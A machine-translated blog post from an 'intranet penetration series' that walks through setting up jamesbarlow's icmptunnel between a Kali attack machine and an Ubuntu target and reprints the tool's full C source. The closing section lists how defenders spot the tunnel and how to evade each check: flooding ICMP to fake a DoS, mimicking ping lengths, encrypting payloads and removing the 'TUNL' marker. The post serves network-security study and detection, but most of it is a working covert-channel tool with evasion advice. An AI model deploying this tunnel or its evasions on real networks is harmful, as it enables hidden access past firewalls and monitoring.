当前位置:网站首页>Intranet penetration series: icmptunnel of Intranet tunnel (Master James Barlow's)
Intranet penetration series: icmptunnel of Intranet tunnel (Master James Barlow's)
2022-04-23 08:01:00 【Fish in Siyuan Lake】
Catalog
Preface
This paper studies ICMP A tool for tunnels ,jamesbarlow Master's icmptunnel
github:https://github.com/jamesbarlow/icmptunnel
One 、 summary
1、 brief introduction
Last updated on 2016 year , use C Language writing , Create a virtual network card through ICMP Protocol transfer IP Traffic , Provides more reliable protocols and mechanisms , Used to pass through stateful firewalls and NAT Tunnel transmission
Conditions :
- Target machine ( client ) Sure ping get out
- Only in linux Environmental use
2、 principle
ICMP For the principle of tunnel, see : Intranet penetration series : Of Intranet tunnels ICMP Tunnel
Traffic sending method :
- Target machine ( client ) take IP The flow is encapsulated in ICMP Of echo Sent to the attacker in the packet ( Server side )
- The attacker ( Server side ) take IP The flow is encapsulated in ICMP Of reply Send the packet to the target machine ( client )
- These two kinds of ICMP Data package see RFC792
framework :
- The key is to open a virtual network card
3、 Use
Both sides should compile and disable the kernel ping:
make
echo 1 > /proc/sys/net/ipv4/icmp_echo_ignore_all
attack ( Server side ) Create a virtual network card and assign IP
./icmptunnel –s
opened tunnel device: tun0
(ctrl-z)
bg
/sbin/ifconfig tun0 10.0.0.1 netmask 255.255.255.0
Target machine ( client ) Point to the server and allocate IP
./icmptunnel <server>
opened tunnel device: tun0
connection established.
(ctrl-z)
bg
/sbin/ifconfig tun0 10.0.0.2 netmask 255.255.255.0
At this time, the tunnel is established , Then the server can ssh Connect to the client
ssh [email protected]
Two 、 practice
1、 Test scenarios
attack ( Server side ):kali 192.168.10.128
Target machine ( client ):ubuntu 192.168.10.129
The target can ping Communication attack machine
2、 Build a tunnel
(1) Get ready
make Compile and disable the kernel ping
make
echo 1 > /proc/sys/net/ipv4/icmp_echo_ignore_all
Target machine
attack
(2) Server monitoring
To look at first route
route -n
Build a tunnel
./icmptunnel –s
opened tunnel device: tun0
(ctrl-z)
bg
/sbin/ifconfig tun0 10.0.0.1 netmask 255.255.255.0
Now check the route again
More than a tun0 Virtual network card
(3) The client starts
View routes
Build a tunnel
./icmptunnel 192.168.10.128
opened tunnel device: tun0
connection established.
(ctrl-z)
bg
/sbin/ifconfig tun0 10.0.0.2 netmask 255.255.255.0
Now check the route again
You can see that there are many tun0
(4) The tunnel was built successfully
At this time, the attacker is as follows
The target machine is as follows
(4)ssh
At this time, the attack machine can attack ssh Connected to the target machine
3、 Grab the bag and have a look
The virtual network adapter tun0
network card eth0
You can see everything TCP The traffic is loaded into ICMP In the flow
3、 ... and 、 Explore
1、 Source code and Analysis
(1)config.h
Setup time 、 size , limit linux etc.
#ifndef ICMPTUNNEL_CONFIG_H
#define ICMPTUNNEL_CONFIG_H
/* program version. */
#define ICMPTUNNEL_VERSION "0.1-beta"
/* default timeout in seconds between keep-alive requests. */
#define ICMPTUNNEL_TIMEOUT 5
/* default number of retries before a connection is dropped. */
#define ICMPTUNNEL_RETRIES 5
/* default interval between punch-thru packets. */
#define ICMPTUNNEL_PUNCHTHRU_INTERVAL 1
/* default window size of punch-thru packets. */
#define ICMPTUNNEL_PUNCHTHRU_WINDOW 10
/* default tunnel mtu in bytes; assume the size of an ethernet frame. */
#define ICMPTUNNEL_MTU 1500
/* default to standard linux behaviour, do not emulate windows ping. */
#define ICMPTUNNEL_EMULATION 0
/* default to running in the foreground. */
#define ICMPTUNNEL_DAEMON 0
#endif
(2)options.h
Controllable options
#ifndef ICMPTUNNEL_OPTIONS_H
#define ICMPTUNNEL_OPTIONS_H
struct options
{
/* interval between keep-alive packets. */
int keepalive;
/* number of retries before timing out. */
int retries;
/* tunnel mtu. */
int mtu;
/* enable windows ping emulation. */
int emulation;
/* run as a daemon. */
int daemon;
};
#endif
(3)protocol.h
packet Framework , In the packet “TUNL” label
#ifndef ICMPTUNNEL_PROTOCOL_H
#define ICMPTUNNEL_PROTOCOL_H
#include <stdint.h>
/* magic value used to mark icmp tunnel packets. */
#define PACKET_MAGIC "TUNL" // Label yourself , Delete it
enum PACKET_TYPE
{
PACKET_CONNECTION_REQUEST,
PACKET_CONNECTION_ACCEPT,
PACKET_SERVER_FULL,
PACKET_DATA,
PACKET_PUNCHTHRU,
PACKET_KEEP_ALIVE
};
struct packet_header
{
uint8_t magic[4];
uint8_t type;
};
#endif
(4)peer.h
#ifndef ICMPTUNNEL_PEER_H
#define ICMPTUNNEL_PEER_H
#include <stdint.h>
#include "config.h"
struct peer
{
int connected;
/* link address. */
uint32_t linkip;
/* next icmp id and sequence numbers. */
uint16_t nextid;
uint16_t nextseq;
/* punch-thru sequence numbers. */
uint16_t punchthru[ICMPTUNNEL_PUNCHTHRU_WINDOW];
uint16_t nextpunchthru;
uint16_t nextpunchthru_write;
/* number of timeout intervals since last activity. */
int seconds;
int timeouts;
};
#endif
(5)handlers.h
#ifndef ICMPTUNNEL_HANDLERS_H
#define ICMPTUNNEL_HANDLERS_H
struct echo_skt;
struct tun_device;
struct handlers
{
/* handle an icmp packet. */
void (*icmp)(struct echo_skt *skt, struct tun_device *device);
/* handle data from the tunnel interface. */
void (*tunnel)(struct echo_skt *skt, struct tun_device *device);
/* handle a timeout. */
void (*timeout)(struct echo_skt *skt);
};
#endif
(6)checksum.c
Calculation checksum
#include "checksum.h"
uint16_t checksum(const char *buf, int size)
{
uint16_t *p = (uint16_t*)buf;
uint32_t sum = 0;
/* calculate the sum over the buffer in 2-byte words. */
for (sum = 0; size > 1; size -= 2) {
sum += *p++;
}
/* there may be a final byte to sum. */
if (size == 1) {
sum += *(unsigned char*)p;
}
/* sum the high and low 16 bits. */
sum = (sum >> 16) + (sum & 0xffff);
sum += (sum >> 16);
return ~sum;
}
(7)resolve.c
adopt DNS, Change the domain name to IP
#include <stdio.h>
#include <netdb.h>
#include <arpa/inet.h>
#include "resolve.h"
int resolve(const char *hostname, uint32_t *address)
{
/* try to interpret the hostname as an ip address. */
*address = ntohl(inet_addr(hostname));
/* if we don't have an ip address, look up the name in dns. */
if (*address == INADDR_NONE) {
struct hostent *h = gethostbyname(hostname);
if (!h) {
fprintf(stderr, "unable to resolve: %s\n", hostname);
return 1;
}
*address = ntohl(*(uint32_t*)h->h_addr_list[0]);
}
return 0;
}
(8)daemon.c
maintain fork process
#include <errno.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
int daemon()
{
int res;
if ((res = fork()) < 0) {
fprintf(stderr, "unable to fork: %s\n", strerror(errno));
return -1;
}
/* if we're the parent process then exit. */
if (res > 0)
exit(0);
/* set a new session id. */
if (setsid() < 0) {
fprintf(stderr, "unable to set sid: %s\n", strerror(errno));
return -1;
}
/* redirect the standard streams to /dev/null. */
int fd;
if ((fd = open("/dev/null", O_RDWR)) < 0) {
fprintf(stderr, "unable to open /dev/null: %s\n", strerror(errno));
return -1;
}
/* int i; for (i = 0; i < 3; ++i) { dup2(fd, i); } if (fd >= 2) { close(fd); } */
return 0;
}
(9)echo-skt.c
echo namely type by 0 Of packet Structure and transceiver of
#include <errno.h>
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <netinet/ip.h>
#include <netinet/ip_icmp.h>
#include "checksum.h"
#include "echo-skt.h"
int open_echo_skt(struct echo_skt *skt, int mtu)
{
skt->buf = skt->data = NULL;
/* open the icmp socket. */
if ((skt->fd = socket(AF_INET, SOCK_RAW, IPPROTO_ICMP)) < 0) {
fprintf(stderr, "unable to open icmp socket: %s\n", strerror(errno));
return 1;
}
/* calculate the buffer size required to encapsulate this payload. */
skt->bufsize = mtu + sizeof(struct iphdr) + sizeof(struct icmphdr);
/* allocate the buffer. */
if ((skt->buf = malloc(skt->bufsize)) == NULL) {
fprintf(stderr, "unable to allocate icmp tx/rx buffers: %s\n", strerror(errno));
return 1;
}
/* save a pointer to the icmp payload for convenience. */
skt->data = skt->buf + sizeof(struct iphdr) + sizeof(struct icmphdr);
return 0;
}
int send_echo(struct echo_skt *skt, uint32_t destip, struct echo* echo)
{
ssize_t xfer;
struct sockaddr_in dest;
dest.sin_family = AF_INET;
dest.sin_addr.s_addr = htonl(destip);
dest.sin_port = 0; /* for valgrind. */
/* write the icmp header. */
struct icmphdr *header = (struct icmphdr*)(skt->buf + sizeof(struct iphdr));
header->type = echo->reply ? 0 : 8;
header->code = 0;
header->un.echo.id = htons(echo->id);
header->un.echo.sequence = htons(echo->seq);
header->checksum = 0;
header->checksum = checksum(skt->buf + sizeof(struct iphdr), sizeof(struct icmphdr) + echo->size);
/* send the packet. */
xfer = sendto(skt->fd, skt->buf + sizeof(struct iphdr), sizeof(struct icmphdr) + echo->size, 0,
(struct sockaddr*)&dest, sizeof(struct sockaddr_in));
if (xfer < 0) {
fprintf(stderr, "unable to send icmp packet: %s\n", strerror(errno));
return 1;
}
return 0;
}
int receive_echo(struct echo_skt *skt, uint32_t *sourceip, struct echo *echo)
{
ssize_t xfer;
struct sockaddr_in source;
socklen_t source_size = sizeof(struct sockaddr_in);
/* receive a packet. */
xfer = recvfrom(skt->fd, skt->buf, skt->bufsize, 0, (struct sockaddr*)&source, &source_size);
if (xfer < 0) {
fprintf(stderr, "unable to receive icmp packet: %s\n", strerror(errno));
return 1;
}
/* parse the icmp header. */
struct icmphdr *header = (struct icmphdr*)(skt->buf + sizeof(struct iphdr));
if (xfer < (int)sizeof(struct iphdr) + (int)sizeof(struct icmphdr))
return 1; /* bad packet size. */
if ((header->type != 0 && header->type != 8) || header->code != 0)
return 1; /* unexpected packet type. */
*sourceip = ntohl(source.sin_addr.s_addr);
echo->size = xfer - sizeof(struct iphdr) - sizeof(struct icmphdr);
echo->reply = header->type == 0;
echo->id = ntohs(header->un.echo.id);
echo->seq = ntohs(header->un.echo.sequence);
return 0;
}
void close_echo_skt(struct echo_skt *skt)
{
/* dispose of the buffer. */
if (skt->buf)
free(skt->buf);
/* close the icmp socket. */
if (skt->fd >= 0)
close(skt->fd);
}
(10)tun-device.c
Mainly virtual network card
#include <errno.h>
#include <fcntl.h>
#include <stdio.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/socket.h>
#include <linux/if.h>
#include <linux/if_tun.h>
#include "tun-device.h"
int open_tun_device(struct tun_device *device, int mtu)
{
struct ifreq ifr;
const char *clonedev = "/dev/net/tun"; // The virtual network adapter
/* open the clone device. */
if ((device->fd = open(clonedev, O_RDWR)) < 0) {
fprintf(stderr, "unable to open %s: %s\n", clonedev, strerror(errno));
fprintf(stderr, "is the tun kernel module loaded?\n");
return 1;
}
memset(&ifr, 0, sizeof(ifr));
ifr.ifr_flags = IFF_TUN | IFF_NO_PI;
/* try to create the device, the kernel will choose a name. */
if (ioctl(device->fd, TUNSETIFF, &ifr) < 0) {
fprintf(stderr, "unable to create a tunnel device: %s\n", strerror(errno));
return 1;
}
/* copy out the device name and mtu. */
strncpy(device->name, ifr.ifr_name, sizeof(device->name));
device->mtu = mtu;
fprintf(stderr, "opened tunnel device: %s\n", ifr.ifr_name);
return 0;
}
int write_tun_device(struct tun_device *device, const char *buf, int size)
{
/* write to the tunnel device. */
if (write(device->fd, buf, size) != size) {
fprintf(stderr, "unable to write to tunnel device: %s\n", strerror(errno));
return 1;
}
return 0;
}
int read_tun_device(struct tun_device *device, char *buf, int *size)
{
/* read from the tunnel device. */
if ((*size = read(device->fd, buf, device->mtu)) < 0) {
fprintf(stderr, "unable to read from tunnel device: %s\n", strerror(errno));
return 1;
}
return 0;
}
void close_tun_device(struct tun_device *device)
{
if (device->fd >= 0) {
close(device->fd);
}
}
(11)forwarder.c
run tunnel
#include <errno.h>
#include <stdio.h>
#include <string.h>
#include <sys/time.h>
#include <sys/select.h>
#include "options.h"
#include "handlers.h"
#include "echo-skt.h"
#include "tun-device.h"
#include "forwarder.h"
/* are we still running? */
static int running = 1;
int forward(struct echo_skt *skt, struct tun_device *device, struct handlers *handlers)
{
int ret;
int maxfd = skt->fd > device->fd ? skt->fd : device->fd;
struct timeval timeout;
/* loop and push packets between the tunnel device and peer. */
while (running) {
fd_set fs;
FD_ZERO(&fs);
FD_SET(skt->fd, &fs);
FD_SET(device->fd, &fs);
/* set the timeout. */
timeout.tv_sec = 1;
timeout.tv_usec = 0;
/* wait for some data. */
ret = select(maxfd + 1, &fs, NULL, NULL, &timeout);
if (ret < 0) {
if (!running)
break;
fprintf(stderr, "unable to select() on sockets: %s\n", strerror(errno));
return 1;
}
/* did we time out? */
else if (ret == 0) {
handlers->timeout(skt);
}
/* handle a packet from the echo socket. */
if (FD_ISSET(skt->fd, &fs)) {
handlers->icmp(skt, device);
}
/* handle data from the tunnel device. */
if (FD_ISSET(device->fd, &fs)) {
handlers->tunnel(skt, device);
}
}
return 0;
}
void stop()
{
running = 0;
}
(12)client-handlers.c
This is the connection 、 perforation 、keep-alive
#include <stdio.h>
#include <string.h>
#include "peer.h"
#include "daemon.h"
#include "options.h"
#include "echo-skt.h"
#include "tun-device.h"
#include "protocol.h"
#include "forwarder.h"
#include "client-handlers.h"
// The following are type The difference between
void send_connection_request(struct echo_skt *skt, struct peer *server, int emulation)
{
/* write a connection request packet. */
struct packet_header *header = (struct packet_header*)skt->data;
memcpy(header->magic, PACKET_MAGIC, sizeof(header->magic));
header->type = PACKET_CONNECTION_REQUEST;
/* send the request. */
struct echo request;
request.size = sizeof(struct packet_header);
request.reply = 0;
request.id = server->nextid;
request.seq = emulation ? server->nextseq : server->nextseq++;
send_echo(skt, server->linkip, &request);
}
void send_punchthru(struct echo_skt *skt, struct peer *server, int emulation)
{
/* write a punchthru packet. */
struct packet_header *header = (struct packet_header*)skt->data;
memcpy(header->magic, PACKET_MAGIC, sizeof(header->magic));
header->type = PACKET_PUNCHTHRU;
/* send the packet. */
struct echo request;
request.size = sizeof(struct packet_header);
request.reply = 0;
request.id = server->nextid;
request.seq = emulation ? server->nextseq : server->nextseq++;
send_echo(skt, server->linkip, &request);
}
void send_keep_alive(struct echo_skt *skt, struct peer *server, int emulation)
{
/* write a keep-alive request packet. */
struct packet_header *header = (struct packet_header*)skt->data;
memcpy(header->magic, PACKET_MAGIC, sizeof(header->magic));
header->type = PACKET_KEEP_ALIVE;
/* send the request. */
struct echo request;
request.size = sizeof(struct packet_header);
request.reply = 0;
request.id = server->nextid;
request.seq = emulation ? server->nextseq : server->nextseq++;
send_echo(skt, server->linkip, &request);
}
void handle_connection_accept(struct echo_skt *skt, struct peer *server, struct options *opts)
{
/* if we're already connected then ignore the packet. */
if (server->connected)
return;
fprintf(stderr, "connection established.\n");
server->connected = 1;
server->timeouts = 0;
/* fork and run as a daemon if needed. */
if (opts->daemon) {
if (daemon() != 0)
return;
}
/* send the initial punch-thru packets. */
int i;
for (i = 0; i < 10; ++i) {
send_punchthru(skt, server, opts->emulation);
}
}
void handle_server_full(struct peer *server)
{
/* if we're already connected then ignore the packet. */
if (server->connected)
return;
fprintf(stderr, "unable to connect: server is full.\n");
/* stop the packet forwarding loop. */
stop();
}
void handle_client_data(struct echo_skt *skt, struct tun_device *device,
struct peer *server, struct echo *echo)
{
/* if we're not connected then drop the packet. */
if (!server->connected)
return;
/* determine the size of the encapsulated frame. */
int framesize = echo->size - sizeof(struct packet_header);
if (!framesize)
return;
/* write the frame to the tunnel interface. */
write_tun_device(device, skt->data + sizeof(struct packet_header), framesize);
server->timeouts = 0;
}
void handle_keep_alive_response(struct peer *server)
{
/* if we're not connected then drop the packet. */
if (!server->connected)
return;
server->seconds = 0;
server->timeouts = 0;
}
(13)client.c
Sending and receiving of clients timeout, There are many restrictions and judgments in the middle
#include <stdio.h>
#include <string.h>
#include "config.h"
#include "options.h"
#include "client.h"
#include "peer.h"
#include "resolve.h"
#include "protocol.h"
#include "echo-skt.h"
#include "tun-device.h"
#include "handlers.h"
#include "forwarder.h"
#include "client-handlers.h"
/* the server. */
static struct peer server;
/* program options. */
static struct options *opts;
/* handle an icmp packet. */
static void handle_icmp_packet(struct echo_skt *skt, struct tun_device *device);
/* handle data from the tunnel interface. */
static void handle_tunnel_data(struct echo_skt *skt, struct tun_device *device);
/* handle a timeout. */
static void handle_timeout(struct echo_skt *skt);
int client(const char *hostname, struct options *options)
{
struct echo_skt skt;
struct tun_device device;
struct handlers handlers = {
&handle_icmp_packet,
&handle_tunnel_data,
&handle_timeout
};
opts = options;
/* calculate the required icmp payload size. */
int bufsize = options->mtu + sizeof(struct packet_header);
/* resolve the server hostname. */
if (resolve(hostname, &server.linkip) != 0)
return 1;
/* open an echo socket. */
if (open_echo_skt(&skt, bufsize) != 0)
return 1;
/* open a tunnel interface. */
if (open_tun_device(&device, options->mtu) != 0)
return 1;
/* choose initial icmp id and sequence numbers. */
server.nextid = rand();
server.nextseq = rand();
/* send the initial connection request. */
send_connection_request(&skt, &server, opts->emulation);
/* run the packet forwarding loop. */
int ret = forward(&skt, &device, &handlers);
close_tun_device(&device);
close_echo_skt(&skt);
return ret;
}
void handle_icmp_packet(struct echo_skt *skt, struct tun_device *device)
{
struct echo echo;
uint32_t sourceip;
/* receive the packet. */
if (receive_echo(skt, &sourceip, &echo) != 0)
return;
/* we're only expecting packets from the server. */
if (sourceip != server.linkip)
return;
/* we're only expecting echo replies. */
if (!echo.reply)
return;
/* check the packet size. */
if (echo.size < (int)sizeof(struct packet_header))
return;
/* check the header magic. */
struct packet_header *header = (struct packet_header*)skt->data;
if (memcmp(header->magic, PACKET_MAGIC, sizeof(header->magic)) != 0)
return;
switch (header->type) {
case PACKET_CONNECTION_ACCEPT:
/* handle a connection accept packet. */
handle_connection_accept(skt, &server, opts);
break;
case PACKET_SERVER_FULL:
/* handle a server full packet. */
handle_server_full(&server);
break;
case PACKET_DATA:
/* handle a data packet. */
handle_client_data(skt, device, &server, &echo);
break;
case PACKET_KEEP_ALIVE:
/* handle a keep-alive packet. */
handle_keep_alive_response(&server);
break;
}
}
void handle_tunnel_data(struct echo_skt *skt, struct tun_device *device)
{
int size;
/* read the frame. */
if (read_tun_device(device, skt->data + sizeof(struct packet_header), &size) != 0)
return;
/* if we're not connected then drop the frame. */
if (!server.connected)
return;
/* write a data packet. */
struct packet_header *header = (struct packet_header*)skt->data;
memcpy(header->magic, PACKET_MAGIC, sizeof(header->magic));
header->type = PACKET_DATA;
/* send the encapsulated frame to the server. */
struct echo echo;
echo.size = sizeof(struct packet_header) + size;
echo.reply = 0;
echo.id = server.nextid;
echo.seq = opts->emulation ? server.nextseq : server.nextseq++;
send_echo(skt, server.linkip, &echo);
}
void handle_timeout(struct echo_skt *skt)
{
/* send a punch-thru packet. */
send_punchthru(skt, &server, opts->emulation);
/* has the peer timeout elapsed? */
if (++server.seconds == opts->keepalive) {
server.seconds = 0;
/* have we reached the max number of retries? */
if (opts->retries != -1 && ++server.timeouts == opts->retries) {
fprintf(stderr, "connection timed out.\n");
/* stop the packet forwarding loop. */
stop();
return;
}
/* if we're still connecting, resend the connection request. */
if (!server.connected) {
send_connection_request(skt, &server, opts->emulation);
return;
}
/* otherwise, send a keep-alive request. */
send_keep_alive(skt, &server, opts->emulation);
}
}
(14)server-handlers.c
Check whether it is consistent with client Connect the , And right client Of a bag response
#include <string.h>
#include "peer.h"
#include "echo-skt.h"
#include "tun-device.h"
#include "protocol.h"
#include "server-handlers.h"
void handle_connection_request(struct echo_skt *skt, struct peer *client,
struct echo *request, uint32_t sourceip)
{
struct packet_header *header = (struct packet_header*)skt->data;
memcpy(header->magic, PACKET_MAGIC, sizeof(struct packet_header));
/* is a client already connected? */
if (client->connected) {
header->type = PACKET_SERVER_FULL;
}
else {
header->type = PACKET_CONNECTION_ACCEPT;
client->connected = 1;
client->seconds = 0;
client->timeouts = 0;
client->nextpunchthru = 0;
client->nextpunchthru_write = 0;
client->linkip = sourceip;
}
/* send the response. */
struct echo response;
response.size = sizeof(struct packet_header);
response.reply = 1;
response.id = request->id;
response.seq = request->seq;
send_echo(skt, sourceip, &response);
}
/* handle a punch-thru packet. */
void handle_punchthru(struct peer *client, struct echo *request, uint32_t sourceip)
{
if (!client->connected || sourceip != client->linkip)
return;
/* store the sequence number. */
client->punchthru[client->nextpunchthru_write] = request->seq;
client->nextpunchthru_write++;
client->nextpunchthru_write %= ICMPTUNNEL_PUNCHTHRU_WINDOW;
client->seconds = 0;
client->timeouts = 0;
}
void handle_keep_alive_request(struct echo_skt *skt, struct peer *client, struct echo *request,
uint32_t sourceip)
{
if (!client->connected || sourceip != client->linkip)
return;
/* write a keep-alive response. */
struct packet_header *header = (struct packet_header*)skt->data;
memcpy(header->magic, PACKET_MAGIC, sizeof(header->magic));
header->type = PACKET_KEEP_ALIVE;
/* send the response to the client. */
struct echo response;
response.size = sizeof(struct packet_header);
response.reply = 1;
response.id = request->id;
response.seq = request->seq;
send_echo(skt, sourceip, &response);
client->timeouts = 0;
}
void handle_server_data(struct echo_skt *skt, struct tun_device *device, struct peer *client,
struct echo *request, uint32_t sourceip)
{
if (!client->connected || sourceip != client->linkip)
return;
/* determine the size of the encapsulated frame. */
int framesize = request->size - sizeof(struct packet_header);
if (!framesize)
return;
/* write the frame to the tunnel interface. */
write_tun_device(device, skt->data + sizeof(struct packet_header), framesize);
/* save the icmp id and sequence numbers for any return traffic. */
client->nextid = request->id;
client->nextseq = request->seq;
client->seconds = 0;
client->timeouts = 0;
}
(15)server.c
And client similar , Only one is reply One is request
#include <stdio.h>
#include <string.h>
#include "config.h"
#include "daemon.h"
#include "options.h"
#include "server.h"
#include "peer.h"
#include "protocol.h"
#include "echo-skt.h"
#include "tun-device.h"
#include "handlers.h"
#include "forwarder.h"
#include "server-handlers.h"
/* the client. */
static struct peer client;
/* program options. */
static struct options *opts;
/* handle an icmp packet. */
static void handle_icmp_packet(struct echo_skt *skt, struct tun_device *device);
/* handle data from the tunnel interface. */
static void handle_tunnel_data(struct echo_skt *skt, struct tun_device *device);
/* handle a timeout. */
static void handle_timeout(struct echo_skt *skt);
int server(struct options *options)
{
struct echo_skt skt;
struct tun_device device;
struct handlers handlers = {
&handle_icmp_packet,
&handle_tunnel_data,
&handle_timeout
};
opts = options;
/* calculate the required icmp payload size. */
int bufsize = options->mtu + sizeof(struct packet_header);
/* open an echo socket. */
if (open_echo_skt(&skt, bufsize) != 0)
return 1;
/* open a tunnel interface. */
if (open_tun_device(&device, options->mtu) != 0)
return 1;
/* fork and run as a daemon if needed. */
if (options->daemon) {
if (daemon() != 0)
return 1;
}
/* run the packet forwarding loop. */
int ret = forward(&skt, &device, &handlers);
close_tun_device(&device);
close_echo_skt(&skt);
return ret;
}
void handle_icmp_packet(struct echo_skt *skt, struct tun_device *device)
{
struct echo echo;
uint32_t sourceip;
/* receive the packet. */
if (receive_echo(skt, &sourceip, &echo) != 0)
return;
/* we're only expecting echo requests. */
if (echo.reply)
return;
/* check the packet size. */
if (echo.size < (int)sizeof(struct packet_header))
return;
/* check the header magic. */
struct packet_header *header = (struct packet_header*)skt->data;
if (memcmp(header->magic, PACKET_MAGIC, sizeof(header->magic)) != 0)
return;
switch (header->type) {
case PACKET_CONNECTION_REQUEST:
/* handle a connection request packet. */
handle_connection_request(skt, &client, &echo, sourceip);
break;
case PACKET_DATA:
/* handle a data packet. */
handle_server_data(skt, device, &client, &echo, sourceip);
break;
case PACKET_PUNCHTHRU:
/* handle a punch-thru packet. */
handle_punchthru(&client, &echo, sourceip);
break;
case PACKET_KEEP_ALIVE:
/* handle a keep-alive request packet. */
handle_keep_alive_request(skt, &client, &echo, sourceip);
break;
}
}
void handle_tunnel_data(struct echo_skt *skt, struct tun_device *device)
{
int size;
/* read the frame. */
if (read_tun_device(device, skt->data + sizeof(struct packet_header), &size) != 0)
return;
/* if no client is connected then drop the frame. */
if (!client.connected)
return;
/* write a data packet. */
struct packet_header *header = (struct packet_header*)skt->data;
memcpy(header->magic, PACKET_MAGIC, sizeof(header->magic));
header->type = PACKET_DATA;
/* send the encapsulated frame to the client. */
struct echo echo;
echo.size = sizeof(struct packet_header) + size;
echo.reply = 1;
echo.id = client.nextid;
echo.seq = client.punchthru[client.nextpunchthru];
client.nextpunchthru++;
client.nextpunchthru %= ICMPTUNNEL_PUNCHTHRU_WINDOW;
send_echo(skt, client.linkip, &echo);
}
void handle_timeout(struct echo_skt *skt)
{
/* unused parameter. */
(void)skt;
if (!client.connected)
return;
/* has the peer timeout elapsed? */
if (++client.seconds == opts->keepalive) {
client.seconds = 0;
/* have we reached the max number of retries? */
if (opts->retries != -1 && ++client.timeouts == opts->retries) {
fprintf(stderr, "client connection timed out.\n");
client.connected = 0;
return;
}
}
}
(16)icmptunnel.c
The main function
#include <getopt.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <signal.h>
#include <time.h>
#include <unistd.h>
#include "config.h"
#include "client.h"
#include "server.h"
#include "options.h"
#include "forwarder.h"
static void version()
{
fprintf(stderr, "icmptunnel is version %s (built %s).\n", ICMPTUNNEL_VERSION, __DATE__);
exit(0);
}
static void help(const char *program)
{
fprintf(stderr, "icmptunnel %s.\n", ICMPTUNNEL_VERSION);
fprintf(stderr, "usage: %s [options] -s|server\n\n", program);
fprintf(stderr, " -v print version and exit.\n");
fprintf(stderr, " -h print help and exit.\n");
fprintf(stderr, " -k <interval> interval between keep-alive packets.\n");
fprintf(stderr, " the default interval is %i seconds.\n", ICMPTUNNEL_TIMEOUT);
fprintf(stderr, " -r <retries> packet retry limit before timing out.\n");
fprintf(stderr, " the default is %i retries.\n", ICMPTUNNEL_RETRIES);
fprintf(stderr, " -m <mtu> max frame size of the tunnel interface.\n");
fprintf(stderr, " the default tunnel mtu is %i bytes.\n", ICMPTUNNEL_MTU);
fprintf(stderr, " -e emulate the microsoft ping utility.\n");
fprintf(stderr, " -d run in the background as a daemon.\n");
fprintf(stderr, " -s run in server-mode.\n");
fprintf(stderr, " server run in client-mode, using the server ip/hostname.\n\n");
exit(0);
}
static void usage(const char *program)
{
fprintf(stderr, "unknown or missing option -- '%c'\n", optopt);
fprintf(stderr, "use %s -h for more information.\n", program);
exit(1);
}
static void signalhandler(int sig)
{
/* unused variable. */
(void)sig;
stop();
}
int main(int argc, char *argv[])
{
char *program = argv[0];
char *hostname = NULL;
int servermode = 0;
struct options options = {
ICMPTUNNEL_TIMEOUT,
ICMPTUNNEL_RETRIES,
ICMPTUNNEL_MTU,
ICMPTUNNEL_EMULATION,
ICMPTUNNEL_DAEMON
};
/* parse the option arguments. */
opterr = 0;
int opt;
while ((opt = getopt(argc, argv, "vhk:r:m:eds")) != -1) {
switch (opt) {
case 'v':
version();
break;
case 'h':
help(program);
break;
case 'k':
options.keepalive = atoi(optarg);
if (options.keepalive == 0) {
options.keepalive = 1;
}
break;
case 'r':
if (strcmp(optarg, "infinite") == 0) {
options.retries = -1;
}
else {
options.retries = atoi(optarg);
}
break;
case 'm':
options.mtu = atoi(optarg);
break;
case 'e':
options.emulation = 1;
break;
case 'd':
options.daemon = 1;
break;
case 's':
servermode = 1;
break;
case '?':
/* fall-through. */
default:
usage(program);
break;
}
}
argc -= optind;
argv += optind;
/* if we're running in client mode, parse the server hostname. */
if (!servermode) {
if (argc < 1) {
fprintf(stderr, "missing server ip/hostname.\n");
fprintf(stderr, "use %s -h for more information.\n", program);
return 1;
}
hostname = argv[0];
argc--;
argv++;
}
/* check for extraneous options. */
if (argc > 0) {
fprintf(stderr, "unknown option -- '%s'\n", argv[0]);
fprintf(stderr, "use %s -h for more information.\n", program);
return 1;
}
/* check for root privileges. */
if (geteuid() != 0) {
fprintf(stderr, "opening raw icmp sockets requires root privileges.\n");
fprintf(stderr, "are you running as root?\n");
exit(1);
}
/* register the signal handlers. */
signal(SIGINT, signalhandler);
signal(SIGTERM, signalhandler);
srand(time(NULL));
if (servermode) {
/* run the server. */
return server(&options);
}
/* run the client. */
return client(hostname, &options);
}
2、 Detection and bypass
(1) Detect virtual network card
There are more virtual network cards for no reason , It's probably a problem
This detection method cannot be avoided by this tool
(2) testing ping Is it banned
namely /proc/sys/net/ipv4/icmp_echo_ignore_all
Is it 1
If this tool regards the target machine as a client , No such problem
(3) abnormal ICMP Number of packets
As shown in the figure ssh When the connection ,1s Internally 20 About a bag , It's all designated IP Address
It seems to be an unavoidable problem
Maybe you can do the opposite , That is, use a large amount of ICMP Packets and other packets flooded the target plane , cause DoS The illusion of attack , The sham as the genuine , Confuse , As the case may be
(4) abnormal ICMP Bag length
Still look at the picture above
However, this can be set to a limited length 64, Slice and assemble
(5)payload Content
For example, the following one is ssh Connect
The content is obviously strange
normal ping command :
windows Under the system ping The default transmission is :abcdefghijklmnopqrstuvwabcdefghi, common 32bytes
linux Under the system ,ping The default transmission is 48bytes, front 8bytes Over time , The back is fixed , The content is !”#$%&’()+,-./01234567
Here we confuse encryption , Will it be better
(6)TUNL
label
Tool author jamesbarlow Shifu's evil taste
Just change it in the source code
Conclusion
Than DhavalKapil Master, we should consider more , But it's not bad
Improvement considerations :
- Change the length and quantity to similar ping command
- Content obfuscation encryption
- Delete the character string
- Consider cross platform
版权声明
本文为[Fish in Siyuan Lake]所创,转载请带上原文链接,感谢
https://yzsam.com/2022/04/202204230628265522.html
边栏推荐
- 每天工作4小时的程序员
- Interview learning route
- 《内网安全攻防:渗透测试实战指南》读书笔记(五):域内横向移动分析及防御
- [unity VFX] Introduction notes of VFX special effects - spark production
- 随笔(不定时更新)
- The projection vector of a vector to a plane
- 爬虫学习笔记,学习爬虫,看本篇就够了
- SAP TR手动导入系统操作手册
- Index locked data cannot be written to es problem handling
- 内网渗透系列:内网隧道之icmptunnel(DhavalKapil师傅的)
猜你喜欢
Chapter VII asset impairment
SAP STO With Billing流程与配置
国基北盛-openstack-容器云-环境搭建
Internal network security attack and defense: a practical guide to penetration testing (8): Authority maintenance analysis and defense
Export all SVG files in the specified path into pictures in PNG format (thumbnail or original size)
